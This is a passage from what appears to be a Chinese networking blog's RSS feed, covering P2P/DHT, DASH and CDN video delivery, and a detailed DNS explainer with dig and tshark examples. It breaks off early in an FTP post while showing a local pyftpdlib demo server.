&lt;li&gt;&lt;strong&gt;冷启动加入(Join)&lt;/strong&gt;：新节点必须先知道一个已经在网络中的“种子节点”(Bootstrap Node)。它通过向种子节点查询“自己的 Node ID”来填充自己的路由表，并把自己“介绍”给沿途经过的节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;静默离开(Leave)&lt;/strong&gt;：P2P节点来去自由，无需打招呼。如果一个节点下线，其他节点在尝试连接它失败后，会自动从路由表中将其剔除。由于数据在最近的 20 个节点都有备份，少数节点的退出不会导致索引丢失。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;总结：DHT 为什么好使？&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;极高的扩展性&lt;/strong&gt;：查找复杂度是 $O(\log N)$。哪怕网络扩大 100 倍，查询步数也只增加几次。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完全去中心化&lt;/strong&gt;：没有任何一个节点是不可或缺的，不存在“关停服务器”就能搞垮网络的情况。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;确定的搜索结果&lt;/strong&gt;：不像泛洪(Flooding)看运气，DHT 只要资源在网络里，就一定能找到。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 总结与思考&lt;/h2&gt;
&lt;p&gt;P2P 技术的核心魅力在于 &lt;strong&gt;“人人为我，我为人人”&lt;/strong&gt;。它将互联网的设计理念从“中心化控制”推向了“边缘化自治”。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;对于开发者&lt;/strong&gt;：理解 BT 的块交换机制对于设计高并发分布式系统有很大启发。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对于架构师&lt;/strong&gt;：考虑到成本，P2P 内容分发（P2P-CDN）至今仍是长视频、游戏大文件更新的主流方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;告别卡顿：深入解析视频流媒体与 CDN 分发技术&lt;/h1&gt;
&lt;p&gt;在当今的互联网中，视频流量占据了超过 80% 的带宽。无论是看B站追剧刷抖音，我们对“秒开”和“高清”的追求，背后是一场关于带宽、延迟和算法的巅峰对决。&lt;/p&gt;
&lt;p&gt;本篇博客将带你拆解视频流的核心协议 &lt;strong&gt;DASH&lt;/strong&gt;，以及支撑整个互联网分发的幕后功臣 &lt;strong&gt;CDN&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;1. 视频流的挑战：“众口难调”的异构型问题&lt;/h2&gt;
&lt;p&gt;视频服务面临两个核心矛盾：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;用户带宽的异构性&lt;/strong&gt;：有的用户用的是百兆光纤，有的用户在地铁里用断断续续的4G流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;互联网的不可预测性&lt;/strong&gt;：服务器到客户端的路径充满变数。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;DASH：多媒体流式服务客户端协议&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;DASH&lt;/code&gt;(Dynamic Adaptive Streaming over HTTP)&lt;/strong&gt; 的核心思想是：&lt;strong&gt;服务器只管供货，客户端决定规格&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务器端&lt;/strong&gt;：将一段视频切成多个&lt;strong&gt;Chunks切片&lt;/strong&gt;，并为每个切片提供不同的版本（如 4K、1080P、720P）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;告示文件(&lt;code&gt;Manifest File&lt;/code&gt;)&lt;/strong&gt;：服务器提供一个 &lt;code&gt;.mpd&lt;/code&gt; 文件，记录了所有切片的 URL 和对应的比特率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户端算法&lt;/strong&gt;：客户端会根据当前的&lt;strong&gt;实时带宽&lt;/strong&gt;和&lt;strong&gt;缓冲区状态&lt;/strong&gt;，动态请求不同清晰度的切片。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;为什么一个中心服务器必死无疑？&lt;/h3&gt;
&lt;p&gt;如果全世界的 B 站用户都去上海的一个数据中心取数据：单点故障、网络拥塞、距离延迟都会导致视频卡顿，甚至无法播放。这种mega-server架构虽然简单，但在互联网时代是不可扩展、不可持续的。
视频不能靠“取”，而要靠“推”。这就是 &lt;strong&gt;&lt;code&gt;CDN&lt;/code&gt;(Content Distribution Network)&lt;/strong&gt; 存在的意义。&lt;/p&gt;
&lt;h2&gt;2. CDN 的架构艺术：Enter Deep vs. Bring Home&lt;/h2&gt;
&lt;p&gt;CDN 厂商（如 Cloudflare）通常采取两种部署策略：&lt;/p&gt;
&lt;h3&gt;深入部署 (Enter Deep)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：将大量的缓存服务器（Edge Servers）部署到全球各地的&lt;strong&gt;ISP运营商&lt;/strong&gt;内部。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：离用户极近（可能就在你家楼下的机房），用户体验极佳。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：维护成本极高，节点数量多且分散。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;靠拢家门 (Bring Home)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：将大型服务器集群部署在少数几个关键的 &lt;strong&gt;IXP互联网交换点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;：维护简单，成本低。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：用户体验略逊于“深入部署”，但在现代高速网络下依然表现良好。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. 协同作战：CDN + P2P&lt;/h2&gt;
&lt;p&gt;CDN的痛点是贵，P2P的痛点是不稳定，它们通常是结合使用的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CDN兜底&lt;/strong&gt;：保证初始加载速度和冷门资源的可靠性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;P2P减负&lt;/strong&gt;：利用 P2P 让用户互相传数据，节省 CDN 厂商大量的带宽成本。
在播放的同时，客户端的 P2P 引擎开始在 DHT 网络里寻找周围也在看这个视频的邻居。一旦找到 5-10 个稳定的邻居，客户端会逐渐减少对 CDN 的请求，转而向邻居请求视频切片Chunks（如果后来邻居突然下线/数据包校验失败，则从CDN获取对应块）。这种“CDN+P2P”的混合模式，既保证了用户体验，又大幅降低了运营成本。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;总结：互联网的“搬运工”&lt;/h2&gt;
&lt;p&gt;视频流技术的发展，本质上是将&lt;strong&gt;存储空间&lt;/strong&gt;转化为&lt;strong&gt;带宽效率&lt;/strong&gt;的过程。通过 DASH 协议，我们让客户端学会了自适应；通过 CDN，我们让数据突破了地理距离。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wireshark 实验小思考：&lt;/strong&gt;
下次看视频时，你可以打开 Wireshark。你会发现，虽然你在看 &lt;code&gt;bilibili.com&lt;/code&gt;，但实际传输数据的 IP 地址往往指向某个离你很近的电信、联通机房。这就是 DNS 调度和 CDN 节点正在默默为你工作的证据！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tls.handshake.extensions_server_name contains &quot;bilivideo&quot; || (tcp.port == 443 &amp;amp;&amp;amp; ip.addr == [前面那个CDN节点的IP]) || (udp &amp;amp;&amp;amp; !dns &amp;amp;&amp;amp; !mdns &amp;amp;&amp;amp; !ntp &amp;amp;&amp;amp; !ssdp &amp;amp;&amp;amp; udp.length &amp;gt; 500)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>DNS 协议解析</title><link>https://blog.alinche.dpdns.org/posts/net/dns/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/net/dns/</guid><description>DNS</description><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;速通版视频解析：&lt;a href=&quot;https://www.bilibili.com/video/BV1XQ47zREY5&quot;&gt;&lt;strong&gt;🖥️DNS&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;互联网的“电话簿”：深入解析 DNS 的运行机制&lt;/h1&gt;
&lt;p&gt;在互联网世界中，IP地址是每台设备的“身份证”，但人类并不擅长记忆像 &lt;code&gt;139.159.241.37&lt;/code&gt; 这样晦涩的数字。于是，&lt;strong&gt;DNS(Domain Name System)&lt;/strong&gt; 应运而生，它像一个巨大的分布式电话簿，将域名翻译为机器可读的 IP。&lt;/p&gt;
&lt;h2&gt;1. DNS 的层级架构：递归与迭代&lt;/h2&gt;
&lt;p&gt;如果把全球所有域名和IP的映射关系全部存放在一台服务器里，那这台服务器瞬间就会被全球网民的请求压垮。因此，DNS 的核心哲学是&lt;strong&gt;分布式存储&lt;/strong&gt;与&lt;strong&gt;层级委派&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;根域名服务器(Root Server)&lt;/strong&gt;：最高层。全球共有 13 组逻辑根服务器（编号从 A 到 M），负责指向 &lt;code&gt;.com&lt;/code&gt;, &lt;code&gt;.cn&lt;/code&gt;, &lt;code&gt;.org&lt;/code&gt; 等顶级域名服务器的地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;顶级域名服务器(TLD Server)&lt;/strong&gt;：负责管理特定的顶级域名，如 &lt;code&gt;.com&lt;/code&gt; 顶级域名服务器知道 &lt;code&gt;google.com&lt;/code&gt; 归哪里管。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权威域名服务器(Authoritative Server)&lt;/strong&gt;：寻址的最终目的地，这里存储着域名和IP的真实映射记录（A记录、CNAME等），如阿里云 DNS、腾讯云 DNS 或 Cloudflare 就是典型的权威服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;两种查询模式：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;递归查询(Recursive)&lt;/strong&gt;：MUA（浏览器/操作系统）请求本地域名服务器（local DNS Resolver），要求它：“不管用什么方法，请直接给我 IP。”本地域名服务器必须跑完全程给出最终结果的模式，就是递归查询。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迭代查询(Iterative)&lt;/strong&gt;：本地域名服务器向其他服务器询问时，对方只会回答：“我不知道，你去问那台服务器吧。”这是 DNS 架构高效运行的关键，它让处于流量顶端的根服务器和顶级服务器只负责“指路”，避免了单点计算资源的耗尽，极大增强了互联网的抗压能力。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. DNS 的&lt;code&gt;缓存&lt;/code&gt;与性能平衡&lt;/h2&gt;
&lt;p&gt;试想一下，如果全球几十亿网民每次打开网页、加载一张图片，都要让 DNS 走一遍“根 -&amp;gt; 顶级 -&amp;gt; 权威”的完整层级查询，互联网的骨干网和根服务器恐怕会在一秒钟内瘫痪。因此，DNS 极度依赖&lt;strong&gt;缓存机制&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;浏览器缓存&lt;/strong&gt;：最快，直接从内存读取。（&lt;a&gt;&lt;code&gt;chrome://net-internals/#dns&lt;/code&gt;&lt;/a&gt; 你可以直接看到浏览器内部维护的域名映射和过期状态）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;操作系统缓存&lt;/strong&gt;：如果浏览器缓存没有，操作系统会优先读取本地的 &lt;code&gt;hosts&lt;/code&gt; 文件，如果没有命中再查找 OS 本身的DNS缓存。(Windows:  ipconfig /displaydns 查看, ipconfig /flushdns 清理)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由器缓存(Router Cache)&lt;/strong&gt;：如果系统缓存也没有，请求会被发给你的路由器，大部分智能路由器也会缓存常用域名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本地域名服务器(Local DNS)&lt;/strong&gt;：通常由你的 ISP（电信/移动/联通）提供，或你手动配置的公共 DNS（如 114.114.114.114），这里是一个巨大的共享资源池，汇聚了全网用户的查询结果，命中率极高。&lt;/li&gt;
&lt;li&gt;只有当这四道缓存全部未命中或已过期时，Local DNS 才会真正向外网发起迭代查询。
&lt;strong&gt;关键属性：TTL (Time to Live)&lt;/strong&gt;
TTL 定义了记录在缓存中存活的时间。&lt;strong&gt;TTL设置是一门艺术&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;设置过短：解析压力大，网页加载慢。&lt;/li&gt;
&lt;li&gt;设置过长：服务器 IP 变更时，全球用户会因为缓存过期慢而无法访问新地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 运维的实战技巧：如何做到服务器IP的无感平滑迁移？&lt;/strong&gt;
假设你的网站域名原本 TTL 为 24 小时。现在你要把网站搬迁到新服务器：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;提前降级&lt;/strong&gt;：在搬迁前两三天，将 DNS 的 TTL 修改为 &lt;code&gt;300&lt;/code&gt; 秒（5分钟）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;等待扩散&lt;/strong&gt;：等待至少 24 小时，让全球各地的旧缓存（长TTL）自然失效，全部替换为新的 5 分钟短缓存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;切换IP&lt;/strong&gt;：在新服务器部署好代码后，去 DNS 后台将域名指向新 IP。此时，全球用户最多只需 5 分钟就会访问到新服务器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;恢复常态&lt;/strong&gt;：观察几天确认无误后，将 TTL 重新调回 24 小时，降低解析压力。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3. 协议核心：为什么是 UDP？何时切换 TCP？&lt;/h2&gt;
&lt;p&gt;很多人知道 DNS 默认运行在 &lt;strong&gt;端口53&lt;/strong&gt;，但它是基于 UDP 还是 TCP 呢？答：&lt;strong&gt;绝大部分时间是 UDP，特殊情况是 TCP。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;为什么首选 UDP？—— 极致的速度&lt;/h3&gt;
&lt;p&gt;如果使用TCP，查询前需要三次握手（消耗约 1.5 个 RTT），查询完毕还要四次挥手。而 DNS 查询通常只需要一问一答，数据量极小。使用无连接的UDP协议，只需要 &lt;strong&gt;1个RTT&lt;/strong&gt; 就能拿到结果，这对于动辄需要加载几十个域名的现代网页来说，速度提升是巨大的。&lt;/p&gt;
&lt;h3&gt;什么时候会切换到 TCP？—— 突破网络传输的限制与保证可靠性&lt;/h3&gt;
&lt;p&gt;早期的以太网传输中有一个不成文的约定：为了避免 IP 层分片导致丢包率剧增，DNS 协议严格规定，UDP报文有效载荷不能超过 &lt;strong&gt;512 字节&lt;/strong&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;突破网络传输的限制
&lt;ul&gt;
&lt;li&gt;如果权威服务器返回的解析记录（比如包含大量的 IPv6 地址或复杂的 DNSSEC 加密签名）超过了 512 字节，它会狠心把塞不下的数据直接砍掉，服务器会在DNS响应报文的首部将 &lt;strong&gt;&lt;code&gt;TC&lt;/code&gt;(Truncated，截断)标志位置为 1&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;客户端收到带有 &lt;code&gt;TC=1&lt;/code&gt; 的报文后，会&lt;strong&gt;立刻丢弃该结果&lt;/strong&gt;，并使用&lt;strong&gt;TCP&lt;/strong&gt;协议(端口53)&lt;strong&gt;重新发起&lt;/strong&gt;完整的查询。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;保证数据的可靠性
&lt;ul&gt;
&lt;li&gt;大型企业为了防止 DNS 宕机，往往会部署多台 DNS 服务器（一主多从）。当主服务器的记录发生更新时，需要把成千上万条记录一次性同步给从服务器（这叫区域传送，分为 AXFR 全量和 IXFR 增量）。
这种动辄几 MB 的海量数据传输，如果用 UDP 肯定会丢包乱序，因此区域传送强制使用 TCP 53 端口。
&lt;em&gt;(此外，主从 DNS 服务器之间进行“区域传送 / Zone Transfer”同步海量记录时，也会使用 TCP 以保证数据的可靠性。)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 动手实践：DNS 的“透明”抓包&lt;/h2&gt;
&lt;p&gt;我们可以利用 &lt;code&gt;dig&lt;/code&gt; 工具来窥探 DNS 查询的每一个细节。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 查看一个域名的完整解析过程
dig bilibili.com +trace

# ...
# ;; Received 811 bytes from 172.23.240.1#53(172.23.240.1) in 851 ms
# 向本地 DNS 获取全球 13 组根服务器 (Root Server) 的地址作为查询起点。

# bilibili.com.           172800  IN      NS      ns3.dnsv5.com.
# bilibili.com.           172800  IN      NS      ns4.dnsv5.com.
# ;; Received 768 bytes from 192.5.6.30#53(h.root-servers.net) in 333 ms
# 随机询问一个根服务器(h.root-servers.net)，它根据顶级域名(.com)的记录，将查询委派给负责该域名的 权威DNS（腾讯云 DNSPod）。

# bilibili.com.           60      IN      A       139.159.241.37
# bilibili.com.           60      IN      A       47.103.24.173
# bilibili.com.           60      IN      A       119.3.70.188
# bilibili.com.           60      IN      A       8.134.50.24
# bilibili.com.           86400   IN      NS      ns4.dnsv5.com.
# bilibili.com.           86400   IN      NS      ns3.dnsv5.com.
# ;; Received 159 bytes from 117.89.178.52#53(ns4.dnsv5.com) in 42 ms
# 最终由权威服务器（腾讯云 DNSPod）返回该域名对应的 A 记录（IPv4 地址列表）及 TTL 值，并完成解析。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;抓包观察重点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;端口&lt;/strong&gt;：DNS 默认运行在 &lt;strong&gt;UDP 53 端口&lt;/strong&gt;（为了追求速度，一次查询通常只有一发一收）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包结构&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Question&lt;/strong&gt;：我要找谁（域名、类型）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Answer&lt;/strong&gt;：对应的 IP 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authority/Additional&lt;/strong&gt;：权威服务器信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;tshark -i eth0 -f &quot;udp port 53&quot; -w output.pcap # eth0 替换为你的网卡
nslookup bilibili.com
ping -c 1 bilibili.com
dig bilibili.com +trace
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|               Transaction ID                  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|              Questions Count                  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|               Answer RRs                      |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;核心字段解析：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Transaction ID&lt;/strong&gt;：客户端随机生成，服务端原样返回，用于匹配“哪一个回答对应哪一个问题”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;QR(Query/Response)&lt;/strong&gt;：&lt;code&gt;0&lt;/code&gt; 代表这是查询包，&lt;code&gt;1&lt;/code&gt; 代表这是响应包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TC(Truncated)&lt;/strong&gt;：也就是上文提到的截断标志位。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCODE&lt;/strong&gt;：返回码。如果是 &lt;code&gt;0&lt;/code&gt; 代表成功；如果是 &lt;code&gt;3&lt;/code&gt; 代表 &lt;code&gt;NXDOMAIN&lt;/code&gt;（域名不存在）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;5. 常见的 DNS 记录类型&lt;/h2&gt;
&lt;p&gt;理解以下记录，你就看懂了域名背后的业务逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A(Address)&lt;/strong&gt;：最核心的记录，将域名指向一个 &lt;strong&gt;IPv4&lt;/strong&gt; 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AAAA&lt;/strong&gt;：将域名指向一个 &lt;strong&gt;IPv6&lt;/strong&gt; 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CNAME(Canonical Name)&lt;/strong&gt;：别名记录，将一个域名指向另一个域名（CDN 厂商最常用的引流手段，如你的域名 CNAME 到阿里的节点域名）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MX(Mail Exchange)&lt;/strong&gt;：指定邮件服务器的地址，如果别人给你发邮件，SMTP 协议就是靠它找到你公司的邮件服务器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TXT&lt;/strong&gt;：记录任意文本信息，常用于域名所有权验证或防伪验证（如 SPF/DKIM 的邮件防伪标识）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. 现代 DNS 的痛点与演进（劫持 vs 污染）&lt;/h2&gt;
&lt;p&gt;DNS 设计于 1983 年，由于 UDP 明文传输的特性，它在复杂的现代网络中面临着严峻的安全挑战。很多人分不清“劫持”和“污染”，这里用通俗的语言解释：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DNS 劫持 (Hijacking)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：你的 Local DNS 变成了别人的恶意DNS。收到你的正确请求后，故意给你返回一个错误的 IP（比如把你导向满屏广告的网页，或者钓鱼网站）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现象&lt;/strong&gt;：输错网址时弹出的运营商导航页，就是最典型的劫持。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS 污染 / 缓存投毒 (Poisoning)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：因为 UDP 是无连接的，谁先返回数据，客户端就信谁。攻击者并不用控制你的 DNS 服务器，但他一直在网络链路上监听。当你发出查询时，攻击者赶在真正的服务器响应前，&lt;strong&gt;抢先伪造一个包含错误 IP 的响应包发给你&lt;/strong&gt;。你的系统收下这个错误结果后，真正的包裹哪怕晚到了0.1秒，也会被直接丢弃。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;现象&lt;/strong&gt;：通常被用于实现国家级防火墙拦截，或者局域网恶意的中间人攻击。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺乏加密&lt;/strong&gt;：你的每一次上网请求，ISP 都能一清二楚地看到。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;下一代安全与隐私解决方案：&lt;/h3&gt;
&lt;p&gt;为了解决明文和伪造问题，现代 DNS 正在进行加密演进：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DNSSEC(DNS Security Extensions)&lt;/strong&gt;：对 DNS 记录进行非对称加密数字签名，客户端收到结果后可以验证“这到底是不是权威服务器发出的原始数据”，完美防篡改（防DNS污染）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DoH(DNS over HTTPS)&lt;/strong&gt;：将 DNS 查询包装在 HTTPS 流量中（端口 443）。在运营商看来，你只是在访问一个普通的加密网页，它不仅无法篡改，连你在查询什么域名都无法知晓，极大保护了用户隐私。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DoT(DNS over TLS)&lt;/strong&gt;：通过专门的 TLS 协议通道加密 DNS 数据（端口 853）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. 经典排障&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;你的电脑突然打不开任何网页了，但QQ却依然能正常收发消息。这是为什么？&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;网页浏览器的逻辑&lt;/strong&gt;：浏览器极度依赖 DNS。当你在地址栏输入 &lt;code&gt;www.bilibili.com&lt;/code&gt; 时，浏览器必须先向本地配置的 DNS 服务器询问该域名对应的 IP，拿到 IP 后才能建立 TCP 连接。如果你的 DNS 配置错误或者运营商的 DNS 服务器宕机，解析就会失败，网页自然打不开。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;QQ的逻辑&lt;/strong&gt;：这类客户端在软件内部硬编码(Hardcode)了一批核心业务服务器的&lt;strong&gt;IP地址&lt;/strong&gt;列表。即使系统 DNS 彻底瘫痪，客户端依然可以直接通过这些内置的 IP 发起通信。
&lt;strong&gt;结论&lt;/strong&gt;：这个现象是典型的 &lt;strong&gt;DNS 解析故障&lt;/strong&gt;。解决办法通常是检查网卡设置，将 DNS 修改为公共 DNS（如 &lt;code&gt;114.114.114.114&lt;/code&gt; 或 &lt;code&gt;8.8.8.8&lt;/code&gt;），或者检查本地的 &lt;code&gt;hosts&lt;/code&gt; 文件是否被篡改。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>应用层协议</title><link>https://blog.alinche.dpdns.org/posts/net/ftpsmtp/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/net/ftpsmtp/</guid><description>FTP、SMTP等应用层协议的原理与实践</description><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;FTP&lt;/h2&gt;
&lt;p&gt;FTP (File Transfer Protocol) 并不是简单的“下载/上传”指令，它是一套基于 &lt;strong&gt;“控制”与“数据”分离&lt;/strong&gt; 的复杂状态机协议。本文将带你通过协议原理与抓包分析，揭开 FTP 的神秘面纱。&lt;/p&gt;
&lt;h3&gt;1. 核心差异：为什么 FTP 有两个连接？&lt;/h3&gt;
&lt;p&gt;在 HTTP 中，所有的交互（请求资源、上传数据）都在同一个 TCP 连接中完成。而 FTP 的设计哲学是 &lt;strong&gt;“双通道模式”&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;控制连接(Control Connection)：&lt;/strong&gt; 默认端口 21。这是协议的“指挥部”，用于发送 &lt;code&gt;USER&lt;/code&gt;, &lt;code&gt;PASS&lt;/code&gt;, &lt;code&gt;LIST&lt;/code&gt;, &lt;code&gt;RETR&lt;/code&gt; 等文本指令。它在整个会话期间始终保持。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据连接(Data Connection)：&lt;/strong&gt; 专门用于传输文件内容或目录列表。它的特点是 &lt;strong&gt;“随用随建，用完即弃”&lt;/strong&gt;。每执行一次传输操作，就会开启一条全新的 TCP 连接，传完后立即关闭。
&lt;strong&gt;为什么这么设计？&lt;/strong&gt; 这种设计源于 FTP 诞生的年代（1971年），当时的网络环境极其不稳定。将控制指令与大数据传输物理隔离，可以确保即使数据传输发生中断，也不会导致整个控制会话挂掉。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. FTP 主动模式与被动模式&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主动模式(PORT)：&lt;/strong&gt; 客户端告诉服务器：“我在某个端口等着，你主动连接我”。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题：&lt;/strong&gt; 在现代防火墙和 NAT 环境下，服务器往往无法穿透客户端内网发起连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被动模式(PASV/EPSV)：&lt;/strong&gt; 客户端告诉服务器：“你准备好一个端口，把地址告诉我，我去连你”。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;趋势：&lt;/strong&gt; 这是目前主流的模式，它通过服务器向客户端开放数据端口，完美规避了 NAT 问题。
&lt;strong&gt;调试建议：&lt;/strong&gt; 如果你发现 FTP 连接能连上，但 &lt;code&gt;ls&lt;/code&gt; 或 &lt;code&gt;get&lt;/code&gt; 时卡住，大概率是防火墙阻断了被动模式的动态端口。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 动手实践：通过抓包“看穿”协议&lt;/h3&gt;
&lt;p&gt;理论再多，不如一次抓包。使用 Python 的 &lt;code&gt;pyftpdlib&lt;/code&gt; 配合 &lt;code&gt;tshark&lt;/code&gt;，可以直观地看到协议细节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 运行
# python3 ftp_server.py
# ftp -n localhost 2121
# 抓包
# tshark -i lo -f &quot;tcp port 2121 or tcp portrange 60000-60010&quot; -w output.pcap

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

# 实例化虚拟用户系统
authorizer = DummyAuthorizer()
# 添加匿名用户，目录设为当前文件夹
authorizer.add_anonymous(&quot;.&quot;) # elr
authorizer.add_user(&quot;admin&quot;, &quot;123456&quot;, &quot;.&quot;, perm=&quot;elradfmwMT&quot;)

# 实例化 FTP 处理器
handler = FTPHandler
handler.authorizer = authorizer

# 启动服务器，使用监听 2121 端口 (避免 21 端口需要 root 权限)
